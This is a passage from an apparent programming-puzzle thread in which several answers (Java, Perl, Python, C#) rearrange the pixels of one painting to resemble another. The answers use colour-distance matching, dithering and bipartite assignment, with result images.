samples.remove(0); int sourceAtPoint = source.getRGB(currentPoint.x, currentPoint.y); int bestColor = search(new MInteger(sourceAtPoint)); result.setRGB(currentPoint.x, currentPoint.y, bestColor); } return result; } public static List<Point> getPoints(int width, int height) { HashSet<Point> points = new HashSet<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { points.add(new Point(x, y)); } } List<Point> newList = new ArrayList<>(); List<Point> corner1 = new LinkedList<>(); List<Point> corner2 = new LinkedList<>(); List<Point> corner3 = new LinkedList<>(); List<Point> corner4 = new LinkedList<>(); Point p1 = new Point(width / 3, height / 3); Point p2 = new Point(width * 2 / 3, height / 3); Point p3 = new Point(width / 3, height * 2 / 3); Point p4 = new Point(width * 2 / 3, height * 2 / 3); newList.add(p1); newList.add(p2); newList.add(p3); newList.add(p4); corner1.add(p1); corner2.add(p2); corner3.add(p3); corner4.add(p4); points.remove(p1); points.remove(p2); points.remove(p3); points.remove(p4); long seed = System.currentTimeMillis(); Random c1Random = new Random(seed += 179426549); //The prime number pushes the first numbers apart Random c2Random = new Random(seed += 179426549); //Or at least I think it does. Random c3Random = new Random(seed += 179426549); Random c4Random = new Random(seed += 179426549); Dir NW = Dir.NW; Dir N = Dir.N; Dir NE = Dir.NE; Dir W = Dir.W; Dir E = Dir.E; Dir SW = Dir.SW; Dir S = Dir.S; Dir SE = Dir.SE; while (!points.isEmpty()) { putPoints(newList, corner1, c1Random, points, NW, N, NE, W, E, SW, S, SE); putPoints(newList, corner2, c2Random, points, NE, N, NW, E, W, SE, S, SW); putPoints(newList, corner3, c3Random, points, SW, S, SE, W, E, NW, N, NE); putPoints(newList, corner4, c4Random, points, SE, S, SW, E, W, NE, N, NW); } return newList; } public static enum Dir { NW(-1, -1), N(0, -1), NE(1, -1), W(-1, 0), E(1, 0), SW(-1, 1), S(0, 1), SE(1, 1); final int dx, dy; private Dir(int dx, int dy) { this.dx = dx; this.dy = dy; } public Point add(Point p) { return new Point(p.x + dx, p.y + dy); } } public static void putPoints(List<Point> newList, List<Point> listToAddTo, Random rand, HashSet<Point> points, Dir... adj) { List<Point> newPoints = new LinkedList<>(); for (Iterator<Point> iter = listToAddTo.iterator(); iter.hasNext();) { Point p = iter.next(); Point pul = adj[0].add(p); Point pu = adj[1].add(p); Point pur = adj[2].add(p); Point pl = adj[3].add(p); Point pr = adj[4].add(p); Point pbl = adj[5].add(p); Point pb = adj[6].add(p); Point pbr = adj[7].add(p); int allChosen = 0; if (points.contains(pul)) { if (rand.nextInt(5) == 0) { allChosen++; newPoints.add(pul); newList.add(pul); points.remove(pul); } } else { allChosen++; } if (points.contains(pu)) { if (rand.nextInt(5) == 0) { allChosen++; newPoints.add(pu); newList.add(pu); points.remove(pu); } } else { allChosen++; } if (points.contains(pur)) { if (rand.nextInt(3) == 0) { allChosen++; newPoints.add(pur); newList.add(pur); points.remove(pur); } } else { allChosen++; } if (points.contains(pl)) { if (rand.nextInt(5) == 0) { allChosen++; newPoints.add(pl); newList.add(pl); points.remove(pl); } } else { allChosen++; } if (points.contains(pr)) { if (rand.nextInt(2) == 0) { allChosen++; newPoints.add(pr); newList.add(pr); points.remove(pr); } } else { allChosen++; } if (points.contains(pbl)) { if (rand.nextInt(5) == 0) { allChosen++; newPoints.add(pbl); newList.add(pbl); points.remove(pbl); } } else { allChosen++; } if (points.contains(pb)) { if (rand.nextInt(3) == 0) { allChosen++; newPoints.add(pb); newList.add(pb); points.remove(pb); } } else { allChosen++; } if (points.contains(pbr)) { newPoints.add(pbr); newList.add(pbr); points.remove(pbr); } if (allChosen == 7) { iter.remove(); } } listToAddTo.addAll(newPoints); } public static List<MInteger> getColors(BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); List<MInteger> colors = new ArrayList<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { colors.add(new MInteger(img.getRGB(x, y))); } } return colors; } public static int search(MInteger color) { int rgbIndex = binarySearch(rgbList, color, rgb); int rbgIndex = binarySearch(rbgList, color, rbg); int grbIndex = binarySearch(grbList, color, grb); int gbrIndex = binarySearch(gbrList, color, gbr); int brgIndex = binarySearch(brgList, color, brg); int bgrIndex = binarySearch(bgrList, color, bgr); double distRgb = dist(rgbList.get(rgbIndex), color); double distRbg = dist(rbgList.get(rbgIndex), color); double distGrb = dist(grbList.get(grbIndex), color); double distGbr = dist(gbrList.get(gbrIndex), color); double distBrg = dist(brgList.get(brgIndex), color); double distBgr = dist(bgrList.get(bgrIndex), color); double minDist = Math.min(Math.min(Math.min(Math.min(Math.min( distRgb, distRbg), distGrb), distGbr), distBrg), distBgr); MInteger ans; if (minDist == distRgb) { ans = rgbList.get(rgbIndex); } else if (minDist == distRbg) { ans = rbgList.get(rbgIndex); } else if (minDist == distGrb) { ans = grbList.get(grbIndex); } else if (minDist == distGbr) { ans = grbList.get(grbIndex); } else if (minDist == distBrg) { ans = grbList.get(rgbIndex); } else { ans = grbList.get(grbIndex); } rgbList.remove(ans); rbgList.remove(ans); grbList.remove(ans); gbrList.remove(ans); brgList.remove(ans); bgrList.remove(ans); return ans.val; } public static int binarySearch(List<MInteger> list, MInteger val, Comparator<MInteger> cmp){ int index = Collections.binarySearch(list, val, cmp); if (index < 0) { index = ~index; if (index >= list.size()) { index = list.size() - 1; } } return index; } public static double dist(MInteger color1, MInteger color2) { int c1 = color1.val; int r1 = (c1 & 0xFF0000) >> 16; int g1 = (c1 & 0x00FF00) >> 8; int b1 = (c1 & 0x0000FF); int c2 = color2.val; int r2 = (c2 & 0xFF0000) >> 16; int g2 = (c2 & 0x00FF00) >> 8; int b2 = (c2 & 0x0000FF); int dr = r1 - r2; int dg = g1 - g2; int db = b1 - b2; return Math.sqrt(dr * dr + dg * dg + db * db); } //This method is here solely for my ease of use (I put the files under <Project Name>/Resources/ ) public static File resource(String fileName) { return new File(System.getProperty("user.dir") + "/Resources/" + fileName); } static List<MInteger> rgbList; static List<MInteger> rbgList; static List<MInteger> grbList; static List<MInteger> gbrList; static List<MInteger> brgList; static List<MInteger> bgrList; static Comparator<MInteger> rgb = (color1, color2) -> color1.val - color2.val; static Comparator<MInteger> rbg = (color1, color2) -> { int c1 = color1.val; int c2 = color2.val; c1 = ((c1 & 0xFF0000)) | ((c1 & 0x00FF00) >> 8) | ((c1 & 0x0000FF) << 8); c2 = ((c2 & 0xFF0000)) | ((c2 & 0x00FF00) >> 8) | ((c2 & 0x0000FF) << 8); return c1 - c2; }; static Comparator<MInteger> grb = (color1, color2) -> { int c1 = color1.val; int c2 = color2.val; c1 = ((c1 & 0xFF0000) >> 8) | ((c1 & 0x00FF00) << 8) | ((c1 & 0x0000FF)); c2 = ((c2 & 0xFF0000) >> 8) | ((c2 & 0x00FF00) << 8) | ((c2 & 0x0000FF)); return c1 - c2; }; static Comparator<MInteger> gbr = (color1, color2) -> { int c1 = color1.val; int c2 = color2.val; c1 = ((c1 & 0xFF0000) >> 16) | ((c1 & 0x00FF00) << 8) | ((c1 & 0x0000FF) << 8); c2 = ((c2 & 0xFF0000) >> 16) | ((c2 & 0x00FF00) << 8) | ((c2 & 0x0000FF) << 8); return c1 - c2; }; static Comparator<MInteger> brg = (color1, color2) -> { int c1 = color1.val; int c2 = color2.val; c1 = ((c1 & 0xFF0000) >> 8) | ((c1 & 0x00FF00) >> 8) | ((c1 & 0x0000FF) << 16); c2 = ((c2 & 0xFF0000) >> 8) | ((c2 & 0x00FF00) >> 8) | ((c2 & 0x0000FF) << 16); return c1 - c2; }; static Comparator<MInteger> bgr = (color1, color2) -> { int c1 = color1.val; int c2 = color2.val; c1 = ((c1 & 0xFF0000) >> 16) | ((c1 & 0x00FF00)) | ((c1 & 0x0000FF) << 16); c2 = ((c2 & 0xFF0000) >> 16) | ((c2 & 0x00FF00)) | ((c2 & 0x0000FF) << 16); return c1 - c2; }; public static void validate(BufferedImage palette, BufferedImage result) { List<Integer> paletteColors = getTrueColors(palette); List<Integer> resultColors = getTrueColors(result); Collections.sort(paletteColors); Collections.sort(resultColors); System.out.println(paletteColors.equals(resultColors)); } public static List<Integer> getTrueColors(BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); List<Integer> colors = new ArrayList<>(width * height); for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { colors.add(img.getRGB(x, y)); } } Collections.sort(colors); return colors; } } ``` My approach works by finding the closest color to each pixel (well, likely the closest), in 3-space, since colors are 3D. This works by creating a list of all the points we need to fill and a list of all the possible colors we can use. We randomize the list of points (so the image will turn out better), then we go through each point and get the color of the source image. **Update:** I used to simply binary search, so red matched better than green which matched better than blue. I now changed it to do six binary searches (all of the possible permutations), then choose the closest color. It only takes ~6 times as long (ie 1 minute). While the pictures are still grainy, the colors match better. **Update 2:** I no longer randomize the list. Instead, I choose 4 points following the rule of thirds, then randomly arrange the points, with preference to filling out the center. Note: See the revision history for the old pictures. Mona Lisa -> River: ![enter image description here](https://i.stack.imgur.com/rMB1Y.png) Mona Lisa -> American Gothic: ![enter image description here](https://i.stack.imgur.com/QMdSl.png) Mona Lisa -> Raytraced Spheres: ![enter image description here](https://i.stack.imgur.com/gsBLc.png) Starry Night -> Mona Lisa: ![enter image description here](https://i.stack.imgur.com/HTQBu.png) --- Here's an animated Gif showing how the image was constructed: ![enter image description here](https://i.stack.imgur.com/7vJgI.gif) And showing the pixels being taken from the Mona Lisa: ![enter image description here](https://i.stack.imgur.com/X1imn.gif) [Answer] # Perl, with Lab color space and dithering **Note:** Now I have a [C solution](https://codegolf.stackexchange.com/questions/33172/american-gothic-in-the-palette-of-mona-lisa-rearrange-the-pixels/34481#34481) too. Uses a similar approach to aditsu's, (choose two random positions, and swap the pixels at those positions if it would make the image more like the target image), with two major improvements: 1. Uses the [CIE L*a*b\* color space](https://en.wikipedia.org/wiki/Lab_color_space) to compare colors — the Euclidean metric on this space is a very good approximation to the perceptual difference between two colors, so the color mappings should be more accurate than RGB or even HSV/HSL. 2. After an initial pass putting pixels in the best possible single position, it does an additional pass with a random dither. Instead of comparing the pixel values at the two swap positions, it computes the average pixel value of a 3x3 neighborhood centered at the swap positions. If a swap improves the average colors of the neighborhoods it's allowed, even if it makes individual pixels less accurate. For some image pairs this has a dubious effect on the quality (and makes the palette effect less striking), but for some (like spheres -> anything) it helps quite a bit. The "detail" factor emphasizes the central pixel to a variable degree. Increasing it decreases the overall amount of dither, but retains more fine detail from the target image. The dithered optimization is slower, which is why we run it on the output of the non-dithered optimization as a starting point. Averaging Lab values, like the dither does, isn't *really* justified (they should be converted to XYZ, averaged, and converted back) but it works just fine for these purposes. These images have termination limits of 100 and 200 (end the first phase when less than 1 in 5000 swaps is accepted, and the second phase at 1 in 2500), and a dithering detail factor of 12 (a little tighter dither than the previous set). At this super high quality setting, the images take a long time to generate, but with parallelization the whole job still finishes within an hour on my 6-core box. Bumping the values up to 500 or so finishes images within a few minutes, they just look a little less polished. I wanted to show off the algorithm to the best here. Code is not by any means pretty: ``` #!/usr/bin/perl use strict; use warnings; use Image::Magick; use Graphics::ColorObject 'RGB_to_Lab'; use List::Util qw(sum max); my $source = Image::Magick->new; $source->Read($ARGV[0]); my $target = Image::Magick->new; $target->Read($ARGV[1]); my ($limit1, $limit2, $detail) = @ARGV[2,3,4]; my ($width, $height) = ($target->Get('width'), $target->Get('height')); # Transfer the pixels of the $source onto a new canvas with the diemnsions of $target $source->Set(magick => 'RGB'); my $img = Image::Magick->new(size => "${width}x${height}", magick => 'RGB', depth => 8); $img->BlobToImage($source->ImageToBlob); my ($made, $rejected) = (0,0); system("rm anim/*.png"); my (@img_lab, @target_lab); for my $x (0 .. $width) { for my $y (0 .. $height) { $img_lab[$x][$y] = RGB_to_Lab([$img->getPixel(x => $x, y => $y)], 'sRGB'); $target_lab[$x][$y] = RGB_to_Lab([$target->getPixel(x => $x, y => $y)], 'sRGB'); } } my $n = 0; my $frame = 0; my $mode = 1; while (1) { $n++; my $swap = 0; my ($x1, $x2, $y1, $y2) = (int rand $width, int rand $width, int rand $height, int rand $height); my ($dist, $dist_swapped); if ($mode == 1) { $dist = (sum map { ($img_lab[$x1][$y1][$_] - $target_lab[$x1][$y1][$_])**2 } 0..2) + (sum map { ($img_lab[$x2][$y2][$_] - $target_lab[$x2][$y2][$_])**2 } 0..2); $dist_swapped = (sum map { ($img_lab[$x2][$y2][$_] - $target_lab[$x1][$y1][$_])**2 } 0..2) + (sum map { ($img_lab[$x1][$y1][$_] - $target_lab[$x2][$y2][$_])**2 } 0..2); } else { # dither mode my $xoffmin = ($x1 == 0 || $x2 == 0 ? 0 : -1); my $xoffmax = ($x1 == $width - 1 || $x2 == $width - 1 ? 0 : 1); my $yoffmin = ($y1 == 0 || $y2 == 0 ? 0 : -1); my $yoffmax = ($y1 == $height - 1 || $y2 == $height - 1 ? 0 : 1); my (@img1, @img2, @target1, @target2, $points); for my $xoff ($xoffmin .. $xoffmax) { for my $yoff ($yoffmin .. $yoffmax) { $points++; for my $chan (0 .. 2) { $img1[$chan] += $img_lab[$x1+$xoff][$y1+$yoff][$chan]; $img2[$chan] += $img_lab[$x2+$xoff][$y2+$yoff][$chan]; $target1[$chan] += $target_lab[$x1+$xoff][$y1+$yoff][$chan]; $target2[$chan] += $target_lab[$x2+$xoff][$y2+$yoff][$chan]; } } } my @img1s = @img1; my @img2s = @img2; for my $chan (0 .. 2) { $img1[$chan] += $img_lab[$x1][$y1][$chan] * ($detail - 1); $img2[$chan] += $img_lab[$x2][$y2][$chan] * ($detail - 1); $target1[$chan] += $target_lab[$x1][$y1][$chan] * ($detail - 1); $target2[$chan] += $target_lab[$x2][$y2][$chan] * ($detail - 1); $img1s[$chan] += $img_lab[$x2][$y2][$chan] * $detail - $img_lab[$x1][$y1][$chan]; $img2s[$chan] += $img_lab[$x1][$y1][$chan] * $detail - $img_lab[$x2][$y2][$chan]; } $dist = (sum map { ($img1[$_] - $target1[$_])**2 } 0..2) + (sum map { ($img2[$_] - $target2[$_])**2 } 0..2); $dist_swapped = (sum map { ($img1s[$_] - $target1[$_])**2 } 0..2) + (sum map { ($img2s[$_] - $target2[$_])**2 } 0..2); } if ($dist_swapped < $dist) { my @pix1 = $img->GetPixel(x => $x1, y => $y1); my @pix2 = $img->GetPixel(x => $x2, y => $y2); $img->SetPixel(x => $x1, y => $y1, color => \@pix2); $img->SetPixel(x => $x2, y => $y2, color => \@pix1); ($img_lab[$x1][$y1], $img_lab[$x2][$y2]) = ($img_lab[$x2][$y2], $img_lab[$x1][$y1]); $made ++; } else { $rejected ++; } if ($n % 50000 == 0) { # print "Made: $made Rejected: $rejected\n"; $img->Write('png:out.png'); system("cp", "out.png", sprintf("anim/frame%05d.png", $frame++)); if ($mode == 1 and $made < $limit1) { $mode = 2; system("cp", "out.png", "nodither.png"); } elsif ($mode == 2 and $made < $limit2) { last; } ($made, $rejected) = (0, 0); } } ``` # Results ## American Gothic palette ![](https://i.stack.imgur.com/IVxFe.png) ![](https://i.stack.imgur.com/JmEvR.png) ![](https://i.stack.imgur.com/12EQD.png) ![](https://i.stack.imgur.com/UiihL.png) Little difference here with dithering or not. ## Mona Lisa palette ![](https://i.stack.imgur.com/QRucu.png) ![](https://i.stack.imgur.com/8akMd.png) ![](https://i.stack.imgur.com/9bIwj.png) ![](https://i.stack.imgur.com/4lend.png) ![](https://i.stack.imgur.com/TdKbu.png) ![](https://i.stack.imgur.com/D0ZZf.png) Dithering reduces the banding on the spheres, but isn't especially pretty. ## Starry Night palette ![](https://i.stack.imgur.com/5Pe4g.png) ![](https://i.stack.imgur.com/zVAki.png) ![](https://i.stack.imgur.com/GlgIE.png) ![](https://i.stack.imgur.com/szQME.png) ![](https://i.stack.imgur.com/fecF1.png) ![](https://i.stack.imgur.com/tEG3V.png) Mona Lisa retains a bit more detail with dithering. Spheres is about the same situation as last time. ## Scream palette ![](https://i.stack.imgur.com/5Ncy6.png) ![](https://i.stack.imgur.com/QstuN.png) ![](https://i.stack.imgur.com/7qdUY.png) ![](https://i.stack.imgur.com/8Xxuo.png) ![](https://i.stack.imgur.com/D6NdH.png) ![](https://i.stack.imgur.com/s39Ya.png) ![](https://i.stack.imgur.com/9PS4b.png) ![](https://i.stack.imgur.com/mdx0X.png) Starry Night without dithering is the most awesome thing ever. Dithering makes it more photo-accurate, but far less interesting. ## Spheres palette As aditsu says, the true test. I think I pass. ![](https://i.stack.imgur.com/qcF6j.png) ![](https://i.stack.imgur.com/gh3sg.png) ![](https://i.stack.imgur.com/mTB1k.png) ![](https://i.stack.imgur.com/rhB3u.png) ![](https://i.stack.imgur.com/pkYME.png) ![](https://i.stack.imgur.com/M6NvR.png) Dithering helps immensely with American Gothic and Mona Lisa, mixing some grays and other colors in with the more intense pixels to produce semi-accurate skin tones instead of horrible blotches. The Scream is affected far less. # Camaro - Mustang Source images from flawr's post. Camaro: ![](https://i.stack.imgur.com/nNtFk.png) Mustang: ![](https://i.stack.imgur.com/g1Bkh.png) ## Camaro palette ![](https://i.stack.imgur.com/7KCcp.png) Looks pretty good without dither. ![](https://i.stack.imgur.com/o0fDM.png) A "tight" dither (same detail factor as above) doesn't change much, just adds a little detail in the highlights on the hood and roof. ![](https://i.stack.imgur.com/Vl3T8.png) A "loose" dither (detail factor dropped to 6) really smooths out the tonality, and a lot more detail is visible through the windshield, but ditherng patterns are more obvious everywhere. ## Mustang palette ![](https://i.stack.imgur.com/zxR7n.png) Parts of the car look great, but the gray pixels look glitchy. What's worse, all the darker yellow pixels got distributed over the red Camaro body, and the non-dithering algorithm can't find anything to do with the lighter ones (moving them into the car would make the match worse, and moving them to another spot on the background makes no net difference), so there's a ghost-Mustang in the background. ![](https://i.stack.imgur.com/aYNfq.jpg) Dithering is able to spread those extra yellow pixels around so they don't touch, scattering them more-or-less evenly over the background in the process. The highlights and shadows on the car look a little better. ![](https://i.stack.imgur.com/k0SLL.jpg) Again, the loose dither has the evenest tonality, reveals more detail on the headlights and windshield. The car almost looks red again. background is clumpier for some reason. Not sure if I like it. # Video [![](https://web.archive.org/web/20180103010545/https://giant.gfycat.com/GlossyOptimalBear.gif)](https://web.archive.org/web/20180103010545/https://giant.gfycat.com/GlossyOptimalBear.gif) ([HQ Link](https://gfycat.com/glossyoptimalbear)) [Answer] # Python The idea is simple: Every pixel has a point in the 3D RGB space. The goal is matching each a pixel of the source and one of the destination image, preferably they should be 'close' (represent the 'same' colour). Since they can be distributed in pretty different ways, we cannot just match the nearest neighbour. ## Strategy Let `n` be an integer (small, 3-255 or so). Now the the pixelcloud in the RGB space gets sorted by the first axis (R). This set of pixel is now partitioned into n partitions. Each of the partitions is now sorted along the second axis (B) which again is sorted an the same way partitioned. We do this with both pictures, and have now for both an array of the points. Now we just can match the pixels by their position in the array, sice a pixel in the same position in each array has a similar position relative to each pixelcloud in the RGB space. If the distribution of the pixels in the RGB space of the both images similar (means only shifted and/or stretched along the 3 axis) the result will be pretty predictable. If the distributions look completely different, this algorithm will not produce as good results (as seen by the last example) but this is also one of the harder cases I think. What it does not do is using effects of interaction of neighbouring pixels in perception. ## Code Disclaimer: I am an absolute newbie to python. ``` from PIL import Image n = 5 #number of partitions per channel. src_index = 3 #index of source image dst_index = 2 #index of destination image images = ["img0.bmp","img1.bmp","img2.bmp","img3.bmp"]; src_handle = Image.open(images[src_index]) dst_handle = Image.open(images[dst_index]) src = src_handle.load() dst = dst_handle.load() assert src_handle.size[0]*src_handle.size[1] == dst_handle.size[0]*dst_handle.size[1],"images must be same size" def makePixelList(img): l = [] for x in range(img.size[0]): for y in range(img.size[1]): l.append((x,y)) return l lsrc = makePixelList(src_handle) ldst = makePixelList(dst_handle) def sortAndDivide(coordlist,pixelimage,channel): #core global src,dst,n retlist = [] #sort coordlist.sort(key=lambda t: pixelimage[t][channel]) #divide partitionLength = int(len(coordlist)/n) if partitionLength <= 0: partitionLength = 1 if channel < 2: for i in range(0,len(coordlist),partitionLength): retlist += sortAndDivide(coordlist[i:i+partitionLength],pixelimage,channel+1) else: retlist += coordlist return retlist print(src[lsrc[0]]) lsrc = sortAndDivide(lsrc,src,0) ldst = sortAndDivide(ldst,dst,0) for i in range(len(ldst)): dst[ldst[i]] = src[lsrc[i]] dst_handle.save("exchange"+str(src_index)+str(dst_index)+".png") ``` ## Result I think it turned out not bad considering the simple solution. You can of course get better results when fiddling around with the parameter, or first transforming the colors into another color space, or even optimizing the partitioning. [![comparision of my results](https://i.stack.imgur.com/2b3iT.jpg)](https://i.stack.imgur.com/2b3iT.jpg "title") Full Gallery here: <https://i.stack.imgur.com/sYVFZ.jpg> ## Detailed for River ### monalisa > river ![monalisa>river](https://i.stack.imgur.com/5qKzY.png) ### people > river ![people>river](https://i.stack.imgur.com/EaMl6.png) ### balls > river ![balls>river](https://i.stack.imgur.com/cJ1fp.png) ### starry night > river ![nocturne>river](https://i.stack.imgur.com/MgnRr.png) ### the cry > river ![thecry>river](https://i.stack.imgur.com/iM6Aj.png) ### balls > MonaLisa, varying n = 2,4,6,...,20 This was the most challenging task I think, far from nice pictures, here a gif (had to be reduced to 256 colours) of the differen parameter values n = 2,4,6,...,20. To me it was suprprising that very low values produced better images (when looking at the face of Mme. Lisa): ![balls >monalisa](https://i.stack.imgur.com/Cg7Bd.gif) ### Sorry I cannot stop Which one do you like better? Chevy Camaro or Ford Mustang? Perhaps this technique could be improved and used for colouring bw pictures. Now here: first I cut the cars roughly out from the background by painting it white (in paint, not very professional...) and then used the python program in each direction. Originals ![original](https://i.stack.imgur.com/nNtFk.png) ![original](https://i.stack.imgur.com/g1Bkh.png) Recoloured There are some artifacts, I think because the area of one car was slightly bigger than the other and because my artistic skills are pretty bad=) ![manipulated](https://i.stack.imgur.com/R9HOM.png) ![enter image description here](https://i.stack.imgur.com/6k9rw.png) [Answer] # Python - A theoretically optimal solution I say theoretically optimal because the truly optimal solution is not quite feasible to compute. I start off by describing the theoretical solution, and then explain how I tweaked it to make it computationally feasible in both space and time. I consider the most optimal solution as the one yielding the lowest total error across all pixels between the old and new images. The error between two pixels is defined as the Euclidian distance between the points in 3D space where each color value (R, G, B) is a coordinate. In practice, because of how humans see things, the optimal solution may very well not be the *best looking* solution. However, it appears to do fairly well in all cases. To compute the mapping, I considered this as a [minimum weight bipartite matching problem](http://www.dti.unimi.it/~righini/Didattica/ComplementiRicercaOperativa/MaterialeCRO/Matching.pdf). In other words, there are two sets of nodes: the original pixels and the palette pixels. An edge is created between each pixel across the two sets (but no edges are created within a set). The cost, or weight, of an edge is the Euclidian distance between the two pixels, as described above. The closer two colors are visually, the lower the cost between the pixels. ![Bipartite Matching Example](https://i.stack.imgur.com/CCdtR.png) This creates a cost matrix of size N2. For these images where N = 123520, approximately 40 GB of memory is required to represent the costs as integers, and half that as short integers. Either way, I did not have enough memory on my machine to make an attempt. Another issue is that the [Hungarian algorithm](http://en.wikipedia.org/wiki/Hungarian_algorithm), or the [Jonker-Volgenant algorithm](http://link.springer.com/article/10.1007%2FBF02278710), which can be used to solve this problem, run in N3 time. While definitely computable, generating a solution per image would have likely taken hours or days. To get around this issue, I randomly sort both lists of pixels, split the lists into C chunks, run a [C++ implementation](https://github.com/hrldcpr/pyLAPJV) of the Jonker-Volgenant algorithm on each sublist pair, and then join the lists back to create the final mapping. Therefore, the code below would allow one to find the truly optimal solution provided that they to set the chunk size C to 1 (no chunking) and have enough memory. For these images, I set C to be 16, so that N becomes 7720, taking just a few minutes per image. A simple way to think of why this works is that randomly sorting the list of pixels and then taking a subset is like sampling the image. So by setting C = 16, it's like taking 16 distinct random samples of size N/C from both the original and palette. Granted, there are probably better ways of splitting the lists, but a random approach provides decent results. ``` import subprocess import multiprocessing as mp import sys import os import sge from random import shuffle from PIL import Image import numpy as np import LAPJV import pdb def getError(p1, p2): return (p1[0]-p2[0])**2 + (p1[1]-p2[1])**2 + (p1[2]-p2[2])**2 def getCostMatrix(pallete_list, source_list): num_pixels = len(pallete_list) matrix = np.zeros((num_pixels, num_pixels)) for i in range(num_pixels): for j in range(num_pixels): matrix[i][j] = getError(pallete_list[i], source_list[j]) return matrix def chunks(l, n): if n < 1: n = 1 return [l[i:i + n] for i in range(0, len(l), n)] def imageToColorList(img_file): i = Image.open(img_file) pixels = i.load() width, height = i.size all_pixels = [] for x in range(width): for y in range(height): pixel = pixels[x, y] all_pixels.append(pixel) return all_pixels def colorListToImage(color_list, old_img_file, new_img_file, mapping): i = Image.open(old_img_file) pixels = i.load() width, height = i.size idx = 0 for x in range(width): for y in range(height): pixels[x, y] = color_list[mapping[idx]] idx += 1 i.save(new_img_file) def getMapping(pallete_list, source_list): matrix = getCostMatrix(source_list, pallete_list) result = LAPJV.lap(matrix)[1] ret = [] for i in range(len(pallete_list)): ret.append(result[i]) return ret def randomizeList(l): rdm_l = list(l) shuffle(rdm_l) return rdm_l def getPartialMapping(zipped_chunk): pallete_chunk = zipped_chunk[0] source_chunk = zipped_chunk[1] subl_pallete = map(lambda v: v[1], pallete_chunk) subl_source = map(lambda v: v[1], source_chunk) mapping = getMapping(subl_pallete, subl_source) return mapping def getMappingWithPartitions(pallete_list, source_list, C = 1): rdm_pallete = randomizeList(enumerate(pallete_list)) rdm_source = randomizeList(enumerate(source_list)) num_pixels = len(rdm_pallete) real_mapping = [0] * num_pixels chunk_size = int(num_pixels / C) chunked_rdm_pallete = chunks(rdm_pallete, chunk_size) chunked_rdm_source = chunks(rdm_source, chunk_size) zipped_chunks = zip(chunked_rdm_pallete, chunked_rdm_source) pool = mp.Pool(2) mappings = pool.map(getPartialMapping, zipped_chunks) for mapping, zipped_chunk in zip(mappings, zipped_chunks): pallete_chunk = zipped_chunk[0] source_chunk = zipped_chunk[1] for idx1,idx2 in enumerate(mapping): src_px = source_chunk[idx1] pal_px = pallete_chunk[idx2] real_mapping[src_px[0]] = pal_px[0] return real_mapping def run(pallete_name, source_name, output_name): print("Getting Colors...") pallete_list = imageToColorList(pallete_name) source_list = imageToColorList(source_name) print("Creating Mapping...") mapping = getMappingWithPartitions(pallete_list, source_list, C = 16) print("Generating Image..."); colorListToImage(pallete_list, source_name, output_name, mapping) if __name__ == '__main__': pallete_name = sys.argv[1] source_name = sys.argv[2] output_name = sys.argv[3] run(pallete_name, source_name, output_name) ``` ## Results: Like with aditsu's solution, these images were all generated using the exact same parameters. The only parameter here is C, which should be set as low as possible. For me, C = 16 was a good balance between speed and quality. All images: <https://i.stack.imgur.com/AqjYY.jpg> ### American Gothic palette ![mona-gothic](https://i.stack.imgur.com/QasBf.png) ![scream-gothic](https://i.stack.imgur.com/PeGIX.png) ### Mona Lisa palette ![gothic-mona](https://i.stack.imgur.com/rVSzm.png) ![scream-mona](https://i.stack.imgur.com/K6rc9.png) ### Starry Night palette ![mona-night](https://i.stack.imgur.com/MLr1l.png) ![river-night](https://i.stack.imgur.com/CSokM.png) ### Scream palette ![gothic-scream](https://i.stack.imgur.com/KcTtU.png) ![mona-scream](https://i.stack.imgur.com/klzca.png) ### River palette ![gothic-spheres](https://i.stack.imgur.com/vpSQi.png) ![mona-spheres](https://i.stack.imgur.com/ad5Ic.png) ### Spheres palette ![gothic-spheres](https://i.stack.imgur.com/MKEyt.png) ![mona-spheres](https://i.stack.imgur.com/BkAu4.png) [Answer] # C# Winform - Visual Studio 2010 **Edit** Dithering added. That's my version of random-swap algorithm - @hobbs flavour. I still feel that some sort of non-random dithering can do better... Color elaboration in Y-Cb-Cr space (as in jpeg compression) Two phase elaboration: 1. Copy of pixel from source in luminance order. This already gives a good image, but desaturated - almost grey scale - in near 0 time 2. Repeated random swap of pixels. The swap is done if this give a better delta (respect to the source) in the 3x3 cell containing the pixel. So it's a dithering effect. The delta is calculated on Y-Cr-Cb space with no weighting of the different components. This is essentially the same method used by @hobbs, without the first random swap without dithering. Just, my times are shorter (the language counts?) and I think my images are better (probably the color space used is more accurate). Program usage: put .png images in your c:\temp folder, check element in the list to choose the palette image, select element in the list to choose source image (not so user friendly). Click start button to start elaboration, saving is automatic (even when you prefer not - beware). Elaboration time under 90 seconds. **Updated Results** *Palette: American Gothic* ![Monna Lisa](https://i.stack.imgur.com/Taaiw.png) ![Rainbow](https://i.stack.imgur.com/dtHR0.png) ![River](https://i.stack.imgur.com/5tOZ0.png) ![Scream](https://i.stack.imgur.com/omqmT.png) ![Starry Night](https://i.stack.imgur.com/hZ521.png) *Palette: Monna Lisa* ![American Gothic](https://i.stack.imgur.com/eUWrV.png) ![Rainbow](https://i.stack.imgur.com/SJZXc.png) ![River](https://i.stack.imgur.com/5BwZB.png) ![Scream](https://i.stack.imgur.com/RaVD1.png) ![Starry Night](https://i.stack.imgur.com/6IX46.png) *Palette: Rainbow* ![American Gothic](https://i.stack.imgur.com/hUc9N.png) ![Monna Lisa](https://i.stack.imgur.com/x8unb.png) ![River](https://i.stack.imgur.com/iaTbJ.png) ![Scream](https://i.stack.imgur.com/zDlyY.png) ![Starry Night](https://i.stack.imgur.com/QdmLQ.png) *Palette: River* ![American Gothic](https://i.stack.imgur.com/p70JR.png) ![Monna Lisa](https://i.stack.imgur.com/bFwRm.png) ![Rainbow](https://i.stack.imgur.com/G6Qrn.png) ![Scream](https://i.stack.imgur.com/eVXRZ.png) ![Starry Night](https://i.stack.imgur.com/cpZFt.png) *Palette: Scream* ![American Gothic](https://i.stack.imgur.com/oOhEN.png) ![Monna Lisa](https://i.stack.imgur.com/NMx4V.png) ![Rainbow](https://i.stack.imgur.com/ED3e7.png) ![River](https://i.stack.imgur.com/d0Ws8.png) ![Starry Night](https://i.stack.imgur.com/gmzHE.png) *Palette: Starry Night* ![American Gothic](https://i.stack.imgur.com/VAUwK.png) ![Monna Lisa](https://i.stack.imgur.com/CkjQq.png) ![Rainbow](https://i.stack.imgur.com/AMGt8.png) ![River](https://i.stack.imgur.com/DBrSB.png) 